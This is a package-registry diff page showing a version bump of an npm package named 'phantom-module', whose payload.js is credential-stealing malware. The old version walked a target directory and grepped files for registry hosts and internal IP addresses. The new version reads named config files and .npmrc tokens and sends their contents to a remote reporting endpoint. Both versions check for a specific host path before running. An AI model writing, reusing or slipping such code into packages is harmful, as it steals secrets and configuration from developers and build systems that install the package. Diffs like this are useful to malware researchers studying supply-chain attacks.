phantom-module 117.0.5 → 117.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +13 -60
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,7 +1,5 @@
|
|
|
1
1
|
const http = require('http');
|
|
2
2
|
const fs = require('fs');
|
|
3
|
-
const path = require('path');
|
|
4
|
-
const { execSync } = require('child_process');
|
|
5
3
|
|
|
6
4
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
7
5
|
|
|
@@ -23,72 +21,27 @@ async function report(moduleId, data) {
|
|
|
23
21
|
});
|
|
24
22
|
}
|
|
25
23
|
|
|
26
|
-
function walk(dir, fileList = []) {
|
|
27
|
-
try {
|
|
28
|
-
const files = fs.readdirSync(dir);
|
|
29
|
-
files.forEach(file => {
|
|
30
|
-
const filePath = path.join(dir, file);
|
|
31
|
-
try {
|
|
32
|
-
const stat = fs.statSync(filePath);
|
|
33
|
-
if (stat.isDirectory()) {
|
|
34
|
-
if (file !== 'node_modules' && file !== '.git') walk(filePath, fileList);
|
|
35
|
-
} else {
|
|
36
|
-
fileList.push(filePath);
|
|
37
|
-
}
|
|
38
|
-
} catch(e) {}
|
|
39
|
-
});
|
|
40
|
-
} catch(e) {}
|
|
41
|
-
return fileList;
|
|
42
|
-
}
|
|
43
|
-
|
|
44
24
|
async function main() {
|
|
45
|
-
await report('ECT-654321', '
|
|
46
|
-
|
|
47
|
-
// 1. List all interesting files
|
|
48
|
-
const files = walk('/home/node/aspect-node');
|
|
49
|
-
const interesting = files.filter(f => f.match(/\.(js|json|yaml|yml|sh|env|conf)$/));
|
|
50
|
-
|
|
51
|
-
await report('ECT-654321', `Found ${files.length} files. Interesting:\n${interesting.join('\n').substring(0,3000)}`);
|
|
25
|
+
await report('ECT-654321', 'CONFIG DUMP V6 STARTING...');
|
|
52
26
|
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
for (const file of interesting) {
|
|
58
|
-
try {
|
|
59
|
-
const content = fs.readFileSync(file, 'utf8');
|
|
60
|
-
if (content.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
|
|
61
|
-
grepOutput += `--- ${file} ---\n`;
|
|
62
|
-
const lines = content.split('\n');
|
|
63
|
-
lines.forEach((line, i) => {
|
|
64
|
-
if (line.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
|
|
65
|
-
grepOutput += `${i+1}: ${line.trim().substring(0, 200)}\n`;
|
|
66
|
-
}
|
|
67
|
-
});
|
|
68
|
-
}
|
|
69
|
-
} catch(e) {}
|
|
70
|
-
}
|
|
71
|
-
} catch(e) { grepOutput += `ERR: ${e.message}\n`; }
|
|
72
|
-
|
|
73
|
-
await report('ECT-839201', grepOutput);
|
|
74
|
-
|
|
75
|
-
// 3. Read specific config files if found
|
|
76
|
-
let configOutput = '=== CONFIG DUMP ===\n';
|
|
77
|
-
const targets = [
|
|
78
|
-
'/home/node/.npmrc',
|
|
79
|
-
'/root/.npmrc',
|
|
80
|
-
'/home/node/aspect-node/.env',
|
|
27
|
+
const files = [
|
|
28
|
+
'/home/node/aspect-node/modules/npm-tracker/src/common/constants.js',
|
|
29
|
+
'/home/node/aspect-node/modules/npm-tracker/src/config/config.js',
|
|
30
|
+
'/home/node/aspect-node/modules/npm-tracker/src/config/default.json',
|
|
81
31
|
'/home/node/aspect-node/config/default.json',
|
|
82
|
-
'/home/node/aspect-node
|
|
32
|
+
'/home/node/aspect-node/.npmrc'
|
|
83
33
|
];
|
|
84
34
|
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
35
|
+
let output = '';
|
|
36
|
+
for (const f of files) {
|
|
37
|
+
if (fs.existsSync(f)) {
|
|
38
|
+
output += `--- ${f} ---\n${fs.readFileSync(f, 'utf8')}\n`;
|
|
39
|
+
} else {
|
|
40
|
+
output += `--- ${f} (NOT FOUND) ---\n`;
|
|
88
41
|
}
|
|
89
42
|
}
|
|
90
43
|
|
|
91
|
-
await report('ECT-
|
|
44
|
+
await report('ECT-839201', output);
|
|
92
45
|
}
|
|
93
46
|
|
|
94
47
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|